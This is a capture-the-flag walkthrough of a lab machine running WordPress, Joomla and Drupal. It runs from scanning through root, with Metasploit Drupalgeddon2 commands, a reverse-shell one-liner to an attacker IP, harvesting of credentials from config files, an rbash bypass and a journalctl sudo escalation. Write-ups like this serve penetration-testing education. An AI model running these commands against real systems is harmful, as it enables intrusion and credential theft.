Information Collection#
Port Scanning#
The scanning command is as follows:
nmap -sC -sV -p22,80,5000,8081,9001 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.55
The scan results are as follows:
Nmap scan report for 192.168.56.55
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8c:9f:7e:78:82:ef:76:f6:26:23:c9:52:6d:aa:fe:d0 (RSA)
| 256 2a:e2:f6:d2:52:1c:c1:d0:3d:aa:40:e6:b5:08:1d:45 (ECDSA)
|_ 256 fa:c9:eb:58:e3:d2:b7:4a:74:77:fc:69:0e:b6:68:08 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: W3.CSS Template
|_http-server-header: nginx/1.14.0 (Ubuntu)
5000/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-generator: WordPress 5.7.2
|_http-title: fsociety – Just another WordPress site
8081/tcp open http nginx 1.14.0 (Ubuntu)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: nginx/1.14.0 (Ubuntu)
9001/tcp open http nginx 1.14.0 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: fsociety.web
From the scan results, it can be seen that in addition to the common HTTP service (port 80), the target machine has also opened several other ports related to content management systems (CMS), including:
- WordPress: port 5000
- Joomla: port 8081
- Drupal: port 9001
This indicates that the target environment contains multiple well-known CMS systems, thus allowing for the selection of appropriate attack paths based on this information.
Version Identification and Vulnerability Analysis#
First, the conventional approach is to perform directory scanning to discover potential backend paths and version information. The focus then shifts to CMS version analysis to see if there are any exploitable n-day vulnerabilities.
WordPress#
By accessing the http://fsociety.web:5000/rss/ page, we can see the version information of the WordPress framework: 5.7.2. In fact, the version information can also be obtained directly using the Wappalyzer plugin.
Then, we scan using the wpscan tool,
wpscan --url http://192.168.56.55:5000 -e u,vp --plugins-detection aggressive --api-token xxxxxxxx
No particularly severe version or plugin vulnerabilities were found.
Joomla#
Using cmseek to scan Joomla,
The version obtained is Joomla 3.4.3. This version has a remote code execution (RCE) vulnerability that allows arbitrary code execution through specific malicious requests.
Drupal#
By confirming the version of Drupal at the specific path http://192.168.56.55:9001/CHANGELOG.txt, it is found to be 7.54, a widely known version with multiple known vulnerabilities.
Exploiting Vulnerabilities#
For Joomla, I tried the POC from https://github.com/kiks7/rusty_joomla_rce
But it was unsuccessful.
However, Drupal 7.54 has a well-known vulnerability (Drupalgeddon2) that can be exploited directly using Metasploit. The method to exploit this vulnerability is as follows:
-
Start the Metasploit console:
msfconsole -
Load the Drupalgeddon2 exploit module:
use exploit/unix/webapp/drupal_drupalgeddon2 -
Set the target information:
set RHOSTS 192.168.56.55 set RPORT 9001 set LHOST 192.168.56.100 -
Execute the attack:
run
Upon success, initial access to the target system can be obtained.
Although the shell -t command provided by msf is already a very useful pseudo-terminal, I personally prefer to reverse a shell back, which is more flexible:
bash -c "bash -i /dev/tcp/192.168.56.100/4444 0>&1"
Stabilize and upgrade the shell:
Privilege Escalation#
First, check the user information in the /etc/passwd file and find that there is a user elliot using rbash, which needs attention.
www-data@vuln_cms:/opt$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ghost:x:1000:1000:tombstoneGhost:/home/ghost:/bin/bash
elliot:x:1001:1001::/home/elliot:/bin/rbash
tyrell:x:1002:1002::/home/tyrell:/bin/bash
Searching for Configuration Information (User Password)#
Then directly run linpeas to see if further clues can be obtained. Great, the database credentials were found in the settings.php file of the drupal site:
grep -C 5 'pass' /var/www/html/drupal/sites/default/settings.php
The obtained database credentials are:
array (
'default' =>
array (
'database' => 'drupal_db',
'username' => 'drupal_admin',
'password' => 'p@$$_C!rUP@!_cM5',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
)
By connecting to the MariaDB database, I checked the users table in drupal_db, but found that the passwords in that table are salted hashes, which have no direct value.
MariaDB [drupal_db]> describe users;
+------------------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+-------+
| uid | int(10) unsigned | NO | PRI | 0 | |
| name | varchar(60) | NO | UNI | | |
| pass | varchar(128) | NO | | | |
| mail | varchar(254) | YES | MUL | | |
| theme | varchar(255) | NO | | | |
| signature | varchar(255) | NO | | | |
| signature_format | varchar(255) | YES | | NULL | |
| created | int(11) | NO | MUL | 0 | |
| access | int(11) | NO | MUL | 0 | |
| login | int(11) | NO | | 0 | |
| status | tinyint(4) | NO | | 0 | |
| timezone | varchar(32) | YES | | NULL | |
| language | varchar(12) | NO | | | |
| picture | int(11) | NO | MUL | 0 | |
| init | varchar(254) | YES | | | |
| data | longblob | YES | | NULL | |
+------------------+------------------+------+-----+---------+-------+
MariaDB [drupal_db]> select name,pass from users;
+------------------+---------------------------------------------------------+
| name | pass |
+------------------+---------------------------------------------------------+
| | |
| admin_cms_drupal | $S$DADmuahqIEcfhp8mqTQ/ystjAyQdBA46h/VXbd89wutU4aKRmNpi |
+------------------+---------------------------------------------------------+
Next, it is natural to check the configuration file of wordpress, which also provided the database username and password:
define( 'DB_USER', 'wp_admin' );
define( 'DB_PASSWORD', 'UUs3R_C!B@p@55' );
However, querying the wp_users table still revealed that the passwords are salted hash values, which have no direct cracking value:
MariaDB [wordpress_db]> select user_login, user_pass from wp_users;
+-----------------+------------------------------------+
| user_login | user_pass |
+-----------------+------------------------------------+
| wordpress_admin | $P$ByXz8klWHk6kmTctrN/8vfzXGqLfab/ |
+-----------------+------------------------------------+
For joomla, by checking the configuration file configuration.php, I obtained the database credentials:
public $user = 'joomla_admin';
public $password = 'j00m1_@_dBpA$$';
public $db = 'joomla_db';
In the database, I queried the hs23w_users table and obtained the hashed passwords of two users, which also had no direct value:
MariaDB [joomla_db]> select username, password from hs23w_users;
+-----------------+--------------------------------------------------------------+
| username | password |
+-----------------+--------------------------------------------------------------+
| joomlaCMS_admin | $2y$10$EYc6SKfMLzlLE/IcD9a6XeAe2Uv7WTBFlbbqRrnpht1K0M1bLrWee |
| elliot | $2y$10$jddnEQpjriJX9jPxh6C/hOag4ZZXae4iVhL7GVRPC9SHWgqbi4SYy |
+-----------------+--------------------------------------------------------------+
Privilege Escalation - Elliot Account#
Discovering Important Credentials#
In the /opt directory, a credential file 8081.cred was found, which stored the username and password for joomlaCMS_admin:
www-data@vuln_cms:/opt$ cat 8081.cred
Username: joomlaCMS_admin
Password: _q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR
Using this credential, I logged into the Joomla backend (be sure to log in to the backend):
http://192.168.56.55:8081/administrator/
After successfully logging in, I found the password for the elliot user: 5T3e!_M0un7i@N
Bypassing rbash#
Since the elliot user is using rbash, we attempted to bypass this restriction with the following command:
ssh [email protected] -t bash
Successfully read the user flag in the home directory.
Privilege Escalation - Tyrell Account#
While continuing information collection and privilege escalation operations, I tried various conventional privilege escalation methods but achieved no results. At this point, I suddenly remembered there was another user account tyrell, and I decided to check if this account also had a hidden password.
Searching for Tyrell-Related Files#
Using the following command, I searched for files related to tyrell in the system:
elliot@vuln_cms:~$ find / -iname '*tyrell*' -type f 2>/dev/null
/var/www/html/drupal/misc/tyrell.pass
I found a file named tyrell.pass, and then checked its contents:
elliot@vuln_cms:~$ cat /var/www/html/drupal/misc/tyrell.pass
Username: tyrell
Password: mR_R0bo7_i5_R3@!_
Successfully found the password for tyrell!
Switching to Tyrell User#
Using the obtained password to switch:
elliot@vuln_cms:~$ su - tyrell
Password: mR_R0bo7_i5_R3@!_
tyrell@vuln_cms:~$ id
uid=1002(tyrell) gid=1002(tyrell) groups=1002(tyrell)
At this point, I successfully switched to the tyrell user.
Sudo Privilege#
Check if the tyrell user has sudo privileges:
tyrell@vuln_cms:~$ sudo -l
Matching Defaults entries for tyrell on vuln_cms:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tyrell may run the following commands on vuln_cms:
(root) NOPASSWD: /bin/journalctl
The tyrell user can use sudo to execute the /bin/journalctl command without a password.
First, I performed a simple analysis of this program using ls -l, file, and strings, then I tried to run the program directly to observe its behavior:
I found that it called a pager to display content. Therefore, by directly using !bash, I successfully obtained a Bash shell with root privileges.
This command can also be found on the gtfobins website for relevant privilege escalation techniques.
In the root user directory, I successfully found the root.txt file and read the flag value inside.
Summary#
At the beginning of the penetration test, I first conducted CMS version analysis and successfully exploited the vulnerability in Drupal using Metasploit to breach the perimeter. During the privilege escalation phase, I initially checked the configuration files of the three CMSs and delved into the databases for searches. Although I did not directly find useful information, this approach remains a common path in penetration testing. Subsequently, in the /opt directory, I discovered the Joomla backend account password and accessed the backend to obtain the password for the Elliot user.
Continuing with information collection and searching for hidden password files in the system, I successfully obtained the credentials for the tyrell user. Further analysis revealed that this user had sudo privileges to execute /bin/journalctl. Leveraging this, I successfully escalated privileges to root and ultimately retrieved the flag in the root directory.
Thus, the entire penetration testing process concluded successfully!